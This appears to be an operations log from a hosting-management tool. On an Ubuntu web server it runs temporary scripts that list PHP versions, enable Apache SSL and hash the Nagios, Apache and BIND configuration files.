 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-01-03 18:21:16: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'stoughton',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-01-03 18:21:16: 

PUT: /tmp/pkp523343

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-01-03 18:21:16: 

chmod 755 /tmp/pkp523343; /tmp/pkp523343; rm /tmp/pkp523343

2026-01-03 18:21:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-01-03 18:21:16: 

PUT: /tmp/pkp305123

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-01-03 18:21:17: 

chmod 755 /tmp/pkp305123; /tmp/pkp305123; rm /tmp/pkp305123

2026-01-03 18:21:18: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-01-03 18:21:18: 

PUT: /tmp/pkp852954

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-03 18:21:18: 

chmod 755 /tmp/pkp852954; /tmp/pkp852954; rm /tmp/pkp852954

2026-01-03 18:21:18: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b


2026-01-03 18:21:18: 

PUT: /tmp/pkp409704

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-01-03 18:21:19: 

chmod 755 /tmp/pkp409704; /tmp/pkp409704; rm /tmp/pkp409704

2026-01-03 18:21:19: 


status=ok


2026-01-03 18:21:19: 

PUT: /tmp/pkp810276

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:21:19: 

chmod 755 /tmp/pkp810276; /tmp/pkp810276; rm /tmp/pkp810276

2026-01-03 18:21:20: 
(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 5184a155abacda25fdd0fe337c05c048
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 52dda690f85fbebe5c01c01e6531b898
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= 0960b06e507954b1c1ee52ae415056d9
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= ee08dd070fe8e2f79b3917dfa84352eb
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= ee08dd070fe8e2f79b3917dfa84352eb
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 5d32c626c6525ceb84cf2109fab6a447
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= e6734e7357f4ea14bd924d2653b4fb4c
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf




STDERR:
/tmp/pkp810276:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-01-03 18:21:32: Establishing a connection
2026-01-03 18:21:32: 

PUT: /tmp/pkp138103

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 18:21:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp138103; rm /tmp/pkp138103'

2026-01-03 18:21:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
